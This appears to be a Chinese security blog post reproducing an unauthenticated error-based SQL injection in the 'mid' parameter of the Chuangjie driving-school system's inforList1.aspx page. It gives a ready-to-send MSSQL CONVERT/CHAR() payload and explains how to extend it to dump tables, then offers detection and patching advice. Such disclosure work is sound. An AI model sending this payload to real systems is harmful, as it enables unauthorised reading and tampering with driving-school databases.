创捷驾校系统inforList1.aspx页面mid参数SQL注入漏洞复现

Wayyt  2小时前

创捷驾校系统inforList1.aspx页面mid参数SQL注入漏洞复现

0x00 漏洞概述

创捷驾校系统是石家庄创捷电子科技有限公司开发的驾校综合管理软件,面向驾培机构提供学员、教练、车辆等业务管理功能。漏洞通报内容指出,该系统的 /inforList1.aspx 页面存在 SQL 注入漏洞,页面中的 mid 参数未经过滤即拼入 SQL 语句,攻击者可以直接执行任意 SQL 语句,进而获取服务器数据、修改或删除数据库内容,威胁服务器整体安全。该漏洞按通报评级 CVSS 为 8.0,属于高危级别。该注入点位于 MSSQL 数据库环境,注入类型为报错型注入,无需登录凭证即可触发。

0x01 影响范围

漏洞通报未提供明确的受影响版本信息,版本范围暂无法核实,此处不作推断。依据厂商官网信息,创捷驾校管理系统由石家庄创捷电子科技有限公司维护,官网提供在线试用入口,说明该系统以 ASP.NET(.aspx 页面)架构部署于独立服务器环境。

资产识别方面,站点网页正文中包含「创捷电子科技」字样的系统可初步认定为该产品站点(推断)。公开安全资料中,同系列还存在 inforList.aspx(不带数字 1)页面的 mid 参数注入记录,二者同属创捷驾校系统,修复时建议一并排查。

0x02 漏洞分析

inforList1.aspx 是系统的信息列表页面,mid 参数用于指定栏目或模块编号。该参数值被直接拼接进后端 SQL 查询语句,服务端既未使用参数化查询,也未对特殊字符做任何过滤或转义。

后端数据库为 MSSQL,这一点可以从请求构造得到印证:请求中使用了 CONVERT(INT, ...) 表达式,这是针对 MSSQL 的经典报错注入手法——当 CONVERT 试图将一段非数字字符串强制转换为整数时,数据库会抛出类型转换错误,并把这段字符串原样带回报错信息中,最终呈现在 HTTP 响应里。上述载荷正是借助这一机制,把恒真条件 3612=3612 的判断结果(字符 1)用冒号类标记字符包裹后回显出来,从而在无需区分页面正常内容的情况下确认注入是否成立。

此外,载荷中的字符全部以 CHAR() 函数形式书写,拼接后还原为标记串,这样可以避免引号、加号等敏感字符在传输或过滤环节被拦截,提高载荷的稳定性。

0x03 利用链与请求包

整个利用过程只需一个 GET 请求,无前置登录、无会话要求。原始载荷经过 URL 编码后如下(示例 IP 使用示意地址 192.0.2.10):

GET /inforList1.aspx?mid=1%20AND%203612=CONVERT(INT,(CHAR(58)%2BCHAR(118)%2BCHAR(120)%2BCHAR(102)%2BCHAR(58)%2B(SELECT%20(CASE%20WHEN%20(3612=3612)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))%2BCHAR(58)%2BCHAR(112)%2BCHAR(116)%2BCHAR(110)%2BCHAR(58))) HTTP/1.1

上述请求未附带任何自定义请求头,即为完整请求形态。将载荷解码后,其逻辑结构为:

mid=1 AND 3612=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(120)+CHAR(102)+CHAR(58)+(SELECT (CASE WHEN (3612=3612) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(112)+CHAR(116)+CHAR(110)+CHAR(58)))

逐段拆解:CHAR(58) 为冒号,CHAR(118)+CHAR(120)+CHAR(102) 组成 vxfCHAR(112)+CHAR(116)+CHAR(110) 组成 ptnCHAR(49) 为数字 1。当条件 3612=3612 恒真时,子查询返回 1,整段拼接结果为字符串 :vxf:1:ptn:CONVERT 转换该字符串失败,MSSQL 将其带入类型转换报错信息回显到响应中。

利用是否成功的判定条件为:HTTP 响应状态码为 200,且响应体中包含标记串 :vxf:1:ptn:。上述请求特征可以佐证 mid 参数可控并进入了 SQL 执行流程。

在确认注入成立后,进一步提取数据只需调整载荷中的子查询:将恒真条件里的 CASE WHEN 分支替换为待执行的子查询,转换失败的报错信息即会回显该子查询的结果,通过逐次构造不同子查询即可枚举库表与字段内容(推断,依据上述报错回显机制)。

0x04 检测与修复建议

检测方面:

1. 核查公网、办公网边界及第三方托管环境中的创捷驾校系统部署,确认 inforList1.aspx 及同系列页面的暴露范围。

2. 检查 Web 访问日志与数据库审计日志,重点排查 mid 参数中带有 ANDCONVERTCHAR( 等特征的异常查询,发现异常查询或数据导出后及时处置并复核数据。

修复方面:

1. 对 mid 等所有外部输入参数改用参数化查询,从根源上消除语句拼接;对无法参数化的场景实施严格的类型与白名单校验。

2. 数据库账号按最小权限原则配置,避免应用账号拥有删除、建表等高危权限。

3. 暂不能升级时,限制相关接口的来源访问,并部署 WAF 规则拦截报错注入特征载荷。

4. 核对厂商公告中的受影响范围,尽快升级至官方修复版本,升级前备份配置和数据。

0x05 参考资料

1. 石家庄创捷电子科技有限公司官网(驾校管理软件产品页):https://www.inrf.cn/ruanjianshiyong.html

最新评论

昵称
邮箱
提交评论